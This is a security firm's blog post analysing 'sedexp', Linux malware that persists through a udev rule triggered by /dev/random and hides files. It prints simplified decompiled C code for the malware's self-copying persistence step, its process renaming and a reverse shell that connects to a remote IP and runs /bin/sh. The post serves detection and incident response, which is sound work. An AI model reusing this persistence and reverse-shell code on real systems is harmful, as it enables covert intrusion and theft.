Unveiling sedexp: A Stealthy Linux Malware Exploiting udev Rules

By Zachary Reichert

Published: 2024-08-19 · Archived: 2026-04-05 17:38:08 UTC

August 19, 2024 4 Minute Read

Stroz Friedberg identified a stealthy malware, dubbed “sedexp,” utilizing Linux udev rules to achieve persistence and evade detection. This advanced threat, active since 2022, hides in plain sight while providing attackers with reverse shell capabilities and advanced concealment tactics.

Introduction

Stroz Friedberg recently identified active usage of a lesser-known Linux persistence technique by an as-yet unidentified piece of malware, dubbed “sedexp,” during an investigation. Despite the malware being in use since at least 2022, Stroz Friedberg has found multiple instances available in online sandboxes with zero detections. At the time of this writing, the persistence technique used is not documented by MITRE ATT&CK. This blog details the active use of this malware and its persistence technique by a financially motivated threat actor.

Background on udev Rules

Sedexp utilizes udev rules to maintain persistence. The malware hides the rules utilizing memory manipulation techniques detailed later in this post.

udev is a device management system for the Linux kernel, responsible for managing device nodes in the */dev* directory. It dynamically creates or removes device node files, handles hotplug events to configure new devices, and loads drivers as necessary. udev rules are configuration files used by udev to match devices and execute actions in response to events such as adding or removing devices.

For example, when a USB device is plugged in, udev uses rules to determine the proper drivers to load and what actions to take. These rules are stored in files typically found in */etc/udev/rules.d/* or */lib/udev/rules.d/*. Each rule consists of conditions to match specific devices and corresponding actions to perform. A typical udev rule might look like this:

```
ACTION=="add", KERNEL=="sdb1", RUN+="/path/to/script"
```

In this rule:

- `ACTION=="add"` specifies that the rule applies when a device is added.
- `KERNEL=="sdb1"` matches the device name. \
- `RUN+="/path/to/script"` specifies a script to run when the rule conditions are met.

Technical Analysis

Persistence through udev Rules

During a recent investigation, Stroz Friedberg discovered malware using udev rules to maintain persistence. This technique allows the malware to execute every time a specific device event occurs, making it stealthy and difficult to detect. The udev rule identified is as follows:

```
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="asedexpb run:+"
```

Breaking down the rule:

- **ACTION=="add"**: This rule triggers when a device is added to the system.
- **ENV{MAJOR}=="1"**: This condition checks if the device's major number is 1, typically associated with memory devices such as */dev/mem*, */dev/null*, and */dev/zero*.
- **ENV{MINOR}=="8"**: This condition checks if the device's minor number is 8, which corresponds to */dev/random* for major number 1.
- **RUN+=asedexpb**: When the above conditions are met, the program or script asedexpb is executed along with any arguments.

This rule ensures that the malware is run whenever */dev/random* is loaded. */dev/random* is a special file that serves as a random number generator, used by various system processes and applications to obtain entropy for cryptographic operations, secure communications, and other functions requiring randomness. It is loaded by the operating system on every reboot, meaning this rule would effectively ensure that the sedexp script is run upon system reboot.

Malware Capabilities

The sedexp malware has notable features such as:

- **Reverse Shell Capability**: It includes a reverse shell, allowing the threat actor to maintain control over the compromised system.
- **Memory Modification for Stealth**: The malware modifies memory to hide any file containing the string "sedexp" from commands like ls or find. In Stroz Friedberg's investigation, this capability was used to conceal webshells, modified Apache configuration files, and the udev rule itself.

Code Analysis

The decompiled code reveals several steps that the sedexp malware takes to ensure its persistence and stealth. Here are key parts simplified for clarity:

- **Memory Allocation and Argument Handling:**
    - The malware manipulates arguments to obfuscate its presence.
    - It changes the process name to kdevtmpfs using prctl to blend in with legitimate system processes.

```
void *memory = calloc(arg_count + 1, sizeof(void *)); for (int i = 0; i < arg_count; i++) { memory[i] = strdup(arguments[i]); memset(arguments[i], 0, strlen(arguments[i])); } arguments[0] = "kdevtmpfs"; prctl(PR_SET_NAME, "kdevtmpfs", 0, 0, 0);
```

- **Persistence Setup**: The malware sets up persistence by copying itself to a specific location and creating a udev rule.

```
char buffer[4096]; if (readlink("/proc/self/exe", buffer, sizeof(buffer) - 1) != -1) { char new_path[1024]; snprintf(new_path, sizeof(new_path), "/lib/udev/%s", basename(buffer)); system("cp -f %s %s && sync", buffer, new_path); char rule_path[1024]; snprintf(rule_path, sizeof(rule_path), "/etc/udev/rules.d/99-%s.rules", basename(buffer)); FILE *rule_file = fopen(rule_path, "w+"); if (rule_file) { fprintf(rule_file, "ACTION==\"add\", ENV{MAJOR}==\"1\", ENV{MINOR}==\"8\", RUN+=\"%s %s:+\"\n", new_path, "run"); fclose(rule_file); } else { exit(-1); } } else { exit(-1); }
```

- **Reverse Shell Execution**: Depending on the input, it can set up a reverse shell, either using forkpty or creating pipes and forking a new process.

```
int socket_fd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(ip_address); connect(socket_fd, (struct sockaddr *)&addr, sizeof(addr)); dup2(socket_fd, STDIN_FILENO); dup2(socket_fd, STDOUT_FILENO); dup2(socket_fd, STDERR_FILENO); execl("/bin/sh", "sh", NULL);
```

Threat Intelligence

Our analysis revealed that the malware was employed by a financially motivated threat actor. Key threat intelligence findings include:

- **Credit Card Scraping**: The malware was used to hide credit card scraping code on a webserver, indicating a focus on financial gain.
- **OSINT Findings**: Multiple public instances of this malware on an online sandbox had zero detections, highlighting its stealthy nature.
- **Historical Use**: This malware has been in use since at least 2022.

Conclusion

The discovery of sedexp demonstrates the evolving sophistication of financially motivated threat actors beyond ransomware. Leveraging rarely utilized persistence techniques like udev rules highlights the need for thorough and advanced forensic analysis. Organizations should continuously update their detection capabilities, implement comprehensive security measures to mitigate such threats, and ensure a capable DFIR firm is engaged to complete a forensic review of any possibly compromised servers.

Samples

Below are hashes of additional public samples discovered by Stroz Friedberg. Many online sandboxes detect few or no detections at the time this blog was released:

SHA256	43f72f4cdab8ed40b2f913be4a55b17e7fd8a7946a636adb4452f685c1ffea02
SHA256	94ef35124a5ce923818d01b2d47b872abd5840c4f4f2178f50f918 855e0e5ca2
SHA256	b981948d51e344972d920722385f2370caf1e4fac0781d508bc1f088f477b648

Contributors: Daniel Stein and Joshua Pivirotto.
